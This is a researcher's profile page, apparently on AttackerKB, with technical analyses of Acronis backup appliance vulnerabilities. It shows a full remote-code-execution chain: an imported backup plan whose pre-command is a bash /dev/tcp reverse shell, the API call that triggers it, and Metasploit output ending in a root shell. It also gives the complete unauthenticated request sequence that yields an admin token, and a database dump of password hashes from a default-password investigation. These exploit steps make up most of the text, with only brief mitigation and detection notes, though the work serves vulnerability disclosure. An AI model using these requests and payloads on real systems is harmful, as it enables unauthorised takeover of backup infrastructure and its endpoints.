h00die-gr3y (126)

Last Login: December 06, 2024
Assessments
43
Score
126

h00die-gr3y's Latest (20) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

In my previous attackerkb article CVE-2022-30995 I explained the vulnerability where an unauthenticated attacker can gain administrative access to the Acronis Cyber protect 15 / Backup 12.5 appliance and disclose sensitive information of the configured endpoint backup targets.
This article is a follow-up of that attack sequence where we actually will exploit this vulnerability and get root access on the appliance itself or one of the configured endpoint backup targets.

This vulnerability has a CVSS v3 Base Score of 8.8 which I personally think is underrated because this exploit allows you to get root or administrator access on the appliance and literally all endpoint backup targets that are configured within the appliance. A rating of 9.8 or 10 would be more appropriate here.

Let’s get started…

For the initial attack sequence to get administrative access to the API using the access token, I refer back to my other article CVE-2022-30995 where this is described in detail.
Our journey starts with fact that we successfully captured the administrative access token which by the way is valid for 30 days ;–)

If you read the documentation of the appliance, you will find a few interesting sections with application logic that opens up an avenue to execute remote commands. One particular section describes the creation of a backup plan on an endpoint target where you can configure pre- or post commands within the backup sequence. This is of course pretty cool because if we are able to use the API to configure a backup plan on particular endpoint with a pre-command that triggers a remote shell or meterpreter, then we have achieved our admin access on the endpoint.

A nice feature within the web console is that you can create a backup plan and export it to a json file which you can import again at the appliance. This will give you a good insight on the structure of a backup plan and how to manipulate the pre-command field in order to achieve a remote code execution.
I have posted an example below of this backup plan where the pre-command is configured with a payload triggering a remote bash shell.

Import backup plan API request

POST /api/ams/backup/plan_operations/import?createDraftOnError=true HTTP/1.1
Host: 192.168.201.6:9877
Content-Length: 10080
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ6ACTlaDLLwA3mQ2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.201.6:9877
Referer: http://192.168.201.6:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer REDACTED access_token
Connection: keep-alive

------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2
Content-Disposition: form-data; name="planfile"; filename="cuckoo.json"
Content-Type: application/json

{
  "allowedActions": [
    "rename",
    "revoke",
    "runNow"
  ],
  "allowedBackupTypes": [
    "full",
    "incremental"
  ],
  "backupType": "files",
  "bootableMediaPlan": false,
  "editable": true,
  "enabled": true,
  "id": "F37FDF40-45BF-4ECD-A166-9D0345EB099D",
  "locations": {
    "data": [
      {
        "displayName": "/tmp",
        "id": "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"/tmp\"]]",
        "type": "local_folder"
      }
    ]
  },
  "name": "Oepsie You are Pawned!!!",
  "options": {
    "backupOptions": {
      "prePostCommands": {
        "postCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "preCommands": {
          "command": "bash -c '0<&216-;exec 216<>/dev/tcp/192.168.201.8/1971;sh <&216 >&216 2>&216'",
          "commandArguments": "",
          "continueOnCommandError": true,
          "waitCommandComplete": false,
          "workingDirectory": ""
        },
        "useDefaultCommands": false,
        "usePostCommands": false,
        "usePreCommands": true
      },
      "prePostDataCommands": {
        "postCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "preCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "useDefaultCommands": true,
        "usePostCommands": false,
        "usePreCommands": false
      },
      "scheduling": {
        "interval": {
          "type": "minutes",
          "value": 30
        },
        "type": "distributeBackupTimeOptions"
      },
      "simultaneousBackups": {
        "simultaneousBackupsNumber": null
      },
      "snapshot": {
        "quiesce": true,
        "retryConfiguration": {
          "reattemptOnError": true,
          "reattemptTimeFrame": {
            "type": "minutes",
            "value": 5
          },
          "reattemptsCount": 3,
          "silentMode": false
        }
      },
      "taskExecutionWindow": {},
      "taskFailureHandling": {
        "periodBetweenRetryAttempts": {
          "type": "hours",
          "value": 1
        },
        "retryAttempts": 1,
        "retryFailedTask": false
      },
      "taskStartConditions": {
        "runAnyway": false,
        "runAnywayAfterPeriod": {
          "type": "hours",
          "value": 1
        },
        "waitUntilMet": true
      },
      "validateBackup": false,
      "volumes": {
        "forceVssFullBackup": false,
        "useMultiVolumeSnapshot": true,
        "useNativeVssProvider": false,
        "useVolumeShadowService": true,
        "useVssFlags": [
          "definedRule"
        ]
      },
      "vssFlags": {
        "availableVssModes": [
          "auto",
          "system"
        ],
        "enabled": true,
        "value": "auto",
        "vssFullBackup": false
      },
      "windowsEventLog": {
        "isGlobalConfigurationUsed": true,
        "traceLevel": "warning",
        "traceState": false
      },
      "withHWSnapshot": false
    },
    "specificParameters": {
      "inclusionRules": {
        "rules": [
          "/mnt"
        ],
        "rulesType": "centralizedFiles"
      },
      "type": ""
    }
  },
  "origin": "centralized",
  "route": {
    "archiveSlicing": null,
    "stages": [
      {
        "archiveName": "[Machine Name]-[Plan ID]-[Unique ID]A",
        "cleanUpIfNoSpace": false,
        "cleanup": {
          "time": [
            {
              "backupSet": "daily",
              "period": {
                "type": "days",
                "value": 7
              }
            },
            {
              "backupSet": "weekly",
              "period": {
                "type": "weeks",
                "value": 4
              }
            }
          ],
          "type": "cleanupByTime"
        },
        "destinationKind": "local_folder",
        "locationScript": null,
        "locationUri": "/tmp",
        "locationUriType": "local",
        "maintenanceWindow": null,
        "postAction": {
          "convertToVMParameters": {
            "agentIds": [],
            "cpuCount": null,
            "diskAllocationType": "thick",
            "displayedName": null,
            "enabled": false,
            "exactMemorySize": false,
            "infrastructureType": "",
            "memorySize": null,
            "networkAdapters": [],
            "virtualMachineName": "",
            "virtualServerHost": null,
            "virtualServerHostKey": "[[\"ItemType\",\"\"],[\"LocalID\",\"\"]]",
            "virtualServerStorage": ""
          }
        },
        "rules": [
          {
            "afterBackup": true,
            "backupCountUpperLimit": 0,
            "backupSetIndex": "daily",
            "backupUpperLimitSize": 0,
            "beforeBackup": false,
            "consolidateBackup": false,
            "deleteOlderThan": {
              "type": "days",
              "value": 7
            },
            "deleteYongerThan": {
              "type": "days",
              "value": 0
            },
            "onSchedule": false,
            "retentionSchedule": {
              "alarms": [],
              "conditions": [],
              "maxDelayPeriod": -1,
              "maxRetries": 0,
              "preventFromSleeping": true,
              "retryPeriod": 0,
              "type": "none",
              "unique": false,
              "waitActionType": "run"
            },
            "stagingOperationType": "justCleanup"
          },
          {
            "afterBackup": true,
            "backupCountUpperLimit": 0,
            "backupSetIndex": "weekly",
            "backupUpperLimitSize": 0,
            "beforeBackup": false,
            "consolidateBackup": false,
            "deleteOlderThan": {
              "type": "weeks",
              "value": 4
            },
            "deleteYongerThan": {
              "type": "days",
              "value": 0
            },
            "onSchedule": false,
            "retentionSchedule": {
              "alarms": [],
              "conditions": [],
              "maxDelayPeriod": -1,
              "maxRetries": 0,
              "preventFromSleeping": true,
              "retryPeriod": 0,
              "type": "none",
              "unique": false,
              "waitActionType": "run"
            },
            "stagingOperationType": "justCleanup"
          }
        ],
        "useProtectionPlanCredentials": true,
        "validationRules": null
      }
    ]
  },
  "scheme": {
    "parameters": {
      "backupSchedule": {
        "kind": {
          "dataType": "binary",
          "type": "full"
        },
        "schedule": {
          "alarms": [
            {
              "beginDate": {
                "day": 0,
                "month": 0,
                "year": 0
              },
              "calendar": {
                "days": 65,
                "type": "weekly",
                "weekInterval": 0
              },
              "distribution": {
                "enabled": false,
                "interval": 0,
                "method": 0
              },
              "endDate": {
                "day": 0,
                "month": 0,
                "year": 0
              },
              "machineWake": false,
              "repeatAtDay": {
                "endTime": {
                  "hour": 0,
                  "minute": 0,
                  "second": 0
                },
                "timeInterval": 0
              },
              "runLater": false,
              "skipOccurrences": 0,
              "startTime": {
                "hour": 23,
                "minute": 0,
                "second": 0
              },
              "startTimeDelay": 0,
              "type": "time",
              "utcBasedSettings": false
            }
          ],
          "conditions": [],
          "maxDelayPeriod": -1,
          "maxRetries": 0,
          "preventFromSleeping": true,
          "retryPeriod": 0,
          "type": "daily",
          "unique": false,
          "waitActionType": "run"
        }
      },
      "backupTypeRule": "byScheme"
    },
    "schedule": {
      "daysOfWeek": [
        "monday",
        "tuesday",
        "wednesday",
        "thursday",
        "friday"
      ],
      "effectiveDates": {
        "from": {
          "day": 0,
          "month": 0,
          "year": 0
        },
        "to": {
          "day": 0,
          "month": 0,
          "year": 0
        }
      },
      "machineWake": false,
      "preventFromSleeping": true,
      "runLater": false,
      "startAt": {
        "hour": 23,
        "minute": 0,
        "second": 0
      },
      "type": "daily"
    },
    "type": "weekly_full_daily_inc"
  },
  "sources": {
    "data": [
      {
        "displayName": "cuckoo",
        "hostID": "65A7924F-3CFB-4EEE-8D95-D5201278D8C1",
        "id": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks"
      }
    ]
  },
  "target": {
    "inclusions": [
      {
        "key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks",
        "resource_key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks"
      }
    ]
  },
  "tenant": {
    "id": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks",
    "locator": "/phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks/",
    "name": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks",
    "parentID": ""
  }
}
------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2--

Response
If successful, it will return the planId that can be used to execute the backup plan on a specific endpoint.

HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-cache
Content-Length: 169
Content-Type: application/json
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:;
Date: Sat, 19 Oct 2024 16:01:13 GMT
Expires: -1
Pragma: no-cache
Server: Werkzeug/0.9.3 Python/3.5.3
Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IjIxZWZlM2I5NThiNzE4YTAyNDIyODJmNzU3NWE1NjNjZGY1MTQwMmFjNGM3ZjZjMzUyYTc4Y2IxNjYxMDhmYTUifQ.GfVpSQ.pf1qJZH04xv1xv9ywxE_tbxD8ro; Secure; HttpOnly; Path=/
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:;
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Internal-Request-Id: RGLvjgwjYDSQz8eZnvXuwn
X-Request-Id: hXoxoawUe5u3E44naHSuvc
X-Xss-Protection: 1; mode=block

{
   "data":
      {
         "failedFiles": [],
          "importedPlans": [
              {
                 "planId": "2EA2CE9D-6AB7-495D-906A-6E12FADF43CF",
                 "fileName": "cuckoo.json",
                 "draftId": "00000000-0000-0000-0000-000000000000"
              }
           ]
      }
}

It is important to understand that you need to assign a backup plan to a specific endpoint target which is defined in the appliance. You will need three important identifiers:
[+] hostId
[+] parentId
[+] key

You can collect this information with Metasploit recon module that you can find here Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure.

msf6 > use auxiliary/gather/acronis_cyber_protect_machine_info_disclosure
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: 65A7924F-3CFB-4EEE-8D95-D5201278D8C1
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks
[*] type: machine
[*] hostname: AcronisAppliance-365C2
[*] IP: 192.168.201.6
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Auxiliary module execution completed
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) >

If you have assigned an endpoint target (see the Import backup plan API request), then simply execute the backup plan using the planId and you will trigger a remote shell.

POST /api/ams/backup/plan_operations/run HTTP/1.1
Host: 192.168.201.6:9877
Content-Length: 49
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.201.6:9877
Referer: http://192.168.201.6:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer REDACTED access_token
Connection: keep-alive

{
     "planId":"2EA2CE9D-6AB7-495D-906A-6E12FADF43CF"
}

When running a multi/handler in Metasploit configured with remote bash shell payload, it will trigger the RCE.

msf6 exploit(multi/handler) > options

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT  1971             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:1971
msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.201.8:1971 -> 192.168.201.6:42780) at 2024-12-06 09:40:42 +0000

msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

pwd
/var/lib/Acronis/mms
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux AcronisAppliance-365C2 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

I have created a Metasploit module with PR 19853 that exploits this vulnerability and performs a remote code execution in order to gain root or administrator access on the targeted endpoint. You can configure a specific endpoint using the id information collected by the recon Metasploit module PR 19582 or if not specified, it will target the appliance itself.

Mitigation

Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.

Indicators of Compromise (IOC)

Please check at the web console for suspicious backup plan executions that might popup in the activity or alert list.

References

CVE-2022-3405
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Acronis Cyber Protect 15 Documentation
Metasploit PR 19583 – Acronis Cyber Backup/Protect Remote Code Execution.
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure

Credits goes to

Sandro Tolksdorf of usd AG for the discovery of this vulnerability.

1
Ratings
Technical Analysis

After my previous attackerkb article CVE-2023-45249 on Acronis Cyber Infrastructure with the default password vulnerability, I became curious what else could be found in the Acronis cyber suite of applications.
Quickly, I bumped into a security advisory usd-2022-0008 of usd HeroLab explaining a serious security flaw in the Acronis Cyber Protect 15 and Acronis Cyber Backup 12.5 appliance that allows unauthenticated attackers to gain full admin access on the Acronis appliance.

The origin of the security flaw arises from the fact that agents installed on endpoints can register without any authentication on the appliance.
Probably, this design decision was taken in order to ease the automation of agent registrations on many endpoints. Unfortunately, the agent registration access is on the level of admin and can be misused to gain full control on the appliance and all the registered endpoints. This makes it a very attractive target for malicious actors with, potentially, a very large attack surface.

The advisory of usd HeroLab describes the attack sequence for Acronis Cyber Protect 15 which will not work for the Acronis Cyber Backup 12.5 vulnerable versions.

Below is the attack sequence that works for both releases 15 and 12.5.

First step: Get the first access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://backup.acronis.com
Content-Length: 19
Connection: keep-alive

grant_type=password

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 1436
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:00:54 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED access_token]","token_type":"bearer","expires_in":86399,"id_token":"REDACTED"}

Second step: Register an agent using the access_token
Note: you can generate your own client_id uuid.

POST /api/account_server/v2/clients HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Authorization: Bearer [REDACTED access_token] 
Content-Type: application/json
Content-Length: 219
Connection: keep-alive

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"tenant_id":"","token_endpoint_auth_method":"client_secret_basic","type":"agent"}

Response

HTTP/1.1 201 Created
Cache-Control: no-cache
Content-Length: 1217
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:11 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","version":0,"client_secret":"ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm","registration_access_token":"kp24vdxcku7xgpn72ufnq5sjoi5odggiz2wb4ta4mqls66zkbvge","registration_client_uri":"https://192.168.201.6:9877/api/account_server/clients/51088f07-76df-4933-8382-ce8ad4c58401","type":"agent","tenant_id":"00000000-0000-0000-0000-000000000000","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"token_endpoint_auth_method":"client_secret_basic","_href":"/api/account_server/v2/clients"
,"_links":[{"rel":"get","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"delete","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"update","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"add_access_policy","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"},{"rel":"access_policies","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"}]
}

Last step: Use the client_id and client_secret to get the admin access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 143
Connection: keep-alive

grant_type=client_credentials&client_id=51088f07-76df-4933-8382-ce8ad4c58401&client_secret=ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 816
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:25 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED admin_token]","token_type":"bearer","expires_in":2591999}

And with this admin access_token (valid for 30 days), an unauthenticated attacker can use all the API calls at free will.

For instance, get the version information of the appliance.

GET /api/ams/versions HTTP/1.1
Host: 192.168.201.6:9877
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer: http://192.168.201.5:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer [REDACTED admin_token]
Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-cache
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:45 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IldRZkxnNllVaC0zUldTdTEifQ.GfaQuQ.OAc_hunx2cL18m0_i9RM2dlfoho; Expires=Sun, 20-Oct-2024 13:11:45 GMT; Max-Age=600; HttpOnly; Path=/
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 73

{"apiVersions":0,"backendVersion":"12.5.11010","buildNumber":"12.5.3710"}

This is of course pretty bad, because you can now pull all configurations of the registered endpoints at the appliance using the admin token in combination with an simple API call GET /api/ams/resources?embed=details.
And this information can be used to plan subsequent attacks targeting specific endpoints, such as domain controllers or other interesting infrastructure.

I have created a Metasploit module with PR 19852 that exploits this vulnerability and gathers all endpoint information registered at a vulnerable appliance.
This information can then be used in another Metasploit module PR 19583 that actually performs a remote code execution in order to gain root or administrator access on the targeted endpoint. A more detailed explanation can be found in the attackerkb article CVE-2022-3405.

Mitigation

Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.

Indicators of Compromise (IOC)

Unfortunately, there is not much to go on because all requests are genuine requests and the dummy agent registration does not show up in the activity or alert list at the web console on the appliance.

References

CVE-2022-30955
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Metasploit PR 19583 – Acronis Cyber Backup/Protect RCE

Credits goes to

Sandro Tolksdorf of usd AG for the discovery of this vulnerability.

1

I have added an Metasploit module enhancement that to dynamically pull and test the feature_type list to establish an RCE. This will make the module more robust towards installations with different feature_type configurations.

Credits go to Chocapikk who suggested this change.

See Geoserver enhancement.

1

@ccondon-r7 you are most welcome!!!

3
Ratings
Technical Analysis

On 24 July, Acronis published the security advisory SEC-6452: Remote command execution due to use of default passwords where default passwords are exploited to gain admin access to the Acronis Cyber Infrastructure. It was also reported by Acronis that this vulnerability was actively exploited by cyber criminals and patched 9 months ago.

If you search for actual examples of the exploit, no detailed technical publications are available, so I thought let’s give it a go and figure out what this vulnerability is all about.

So I downloaded a Acronis Cyber Infrastructure (ACI) appliance 4.7 from their website and installed it on VirtualBox (see this article).
After completing the installation process, you access the Acronis Web Portal on port 8888 via HTTPS with the admin credentials set during the installation. You can also the access the appliance directly by logging in as root. These credentials are also asked and set during the installation process. This is of course very helpful to analyze the server image because you have full access to appliance and the installed software.

So lets start the search for our default passwords!!!

Let’s check first the user credentials available on the appliance itself by checking the /etc/password and /etc/shadow files.
Not much to gain here. The only password hash available in the /etc/shadow file is for user root which is set during the initial setup of the ACI appliance.

Next in line is to investigate the user credentials available in the Acronis Web Portal.
If you login as admin, you will find in the settings->user and projects section, three default users:

  • admin
  • backup-service-user
  • vstorage-service-user

User admin credentials are set during the installation process so that rules out the default password.
Both the backup-service-user and storage-service-user are potential candidates where the storage-service-user is the most promising candidate because this user is default enabled and has the role system-administrator assigned.

The appliance has a PostgreSQL DB that stores all configuration information. The users, passwords and roles are stored in the keystone database.

You can easily query the database by logging into the appliance as root and switch to the postgres user and access the database with psql.

Acronis Cyber Infrastructure release 4.7
========================================================================
= Warning! Do not enable third-party repositories. Install third-party =
= software only from the default repository. Use only commands allowed =
= in the product documentation.                                        =
========================================================================
[root@aci-471-53 ~]# su postgres
bash-4.2$ psql
could not change directory to "/root": Permission denied
psql (11.16)
Type "help" for help.

postgres=# \l
                                   List of databases
    Name    |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges
------------+------------+----------+-------------+-------------+-----------------------
 coredns    | coredns    | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 grafana    | grafana    | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 keystone   | vstoradmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres   | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0  | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |            |          |             |             | postgres=CTc/postgres
 template1  | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |            |          |             |             | postgres=CTc/postgres
 vstoradmin | vstoradmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
(7 rows)

postgres=# \c keystone
You are now connected to database "keystone" as user "postgres".
keystone=# select * from "local_user";
 id |             user_id              | domain_id |         name          | failed_auth_count | failed_auth_at
----+----------------------------------+-----------+-----------------------+-------------------+----------------
  1 | a56cc7f698fa41d99d1c9dd22aa73580 | default   | vstorage-service-user |                 0 |
  2 | 57bf107a224145c6a1217c71da5f4911 | default   | backup-service-user   |                   |
  3 | fad1606d29a64ff6b7c45b1128551a97 | default   | admin                 |                 0 |
(3 rows)

keystone=# select * from "password";
 id | local_user_id |         expires_at         | self_service |                        password_hash                         |  created_at_int  |  expires_at_int  |         created_at
----+---------------+----------------------------+--------------+--------------------------------------------------------------+------------------+------------------+----------------------------
  1 |             1 | 2024-08-05 11:31:58.573171 | f            | $2b$12$/.ZPGchRUlOGJcNO2S.bOOF3ykww0vShNEr/jwZxvQtksCzGHYcrO | 1653058897767616 | 1722857518573171 | 2022-05-20 15:01:37.767616
  2 |             1 |                            | f            | $2b$12$YKyODw1N3mTO9qj7ch1h6O2qZQGjSgW/CIKyQ2Tz7A49sJvHI0r/q | 1722857518573171 |                  | 2024-08-05 11:31:58.573171
  3 |             3 |                            | f            | $2b$12$3PT2/rbf4rkNBPThiZclyeD/FFP5UXLs4bTfg0L27LeSjqyxNQ2xO | 1722857529542615 |                  | 2024-08-05 11:32:09.542615
(3 rows)

We can query the users and the password hashes, which is promising but “Are these default passwords?”, and if yes, “What is the password?”
To answers these questions, we need to dig a bit deeper within the appliance and figure out what happens during the initial installation and configuration setup of the appliance.
One very interesting directory is /usr/libexec/vstorage-ui-backend/libexec that holds most of initial configuration shell scripts called during the installation of the appliance.

[root@aci-471-53 libexec]# pwd
/usr/libexec/vstorage-ui-backend/libexec
[root@aci-471-53 libexec]# ls
alua-functions.sh      keystone-service-init.sh                                                     oneshot-0021-enable-russian-language.sh
bouncer-functions.sh   logging.sh                                                                   oneshot-cleanup-wal-archive.sh
check-backend.sh       oneshot-0008-upgrade-to-roles-sets.sh                                        oneshot-disable-wal-archiving.sh
clear-vips.sh          oneshot-0009-upgrade-db.sh                                                   oneshot-init-keystone.sh
db-functions.sh        oneshot-0010-disable-pghba-ident-entry.sh                                    oneshot-migrate-roles-to-agent.sh
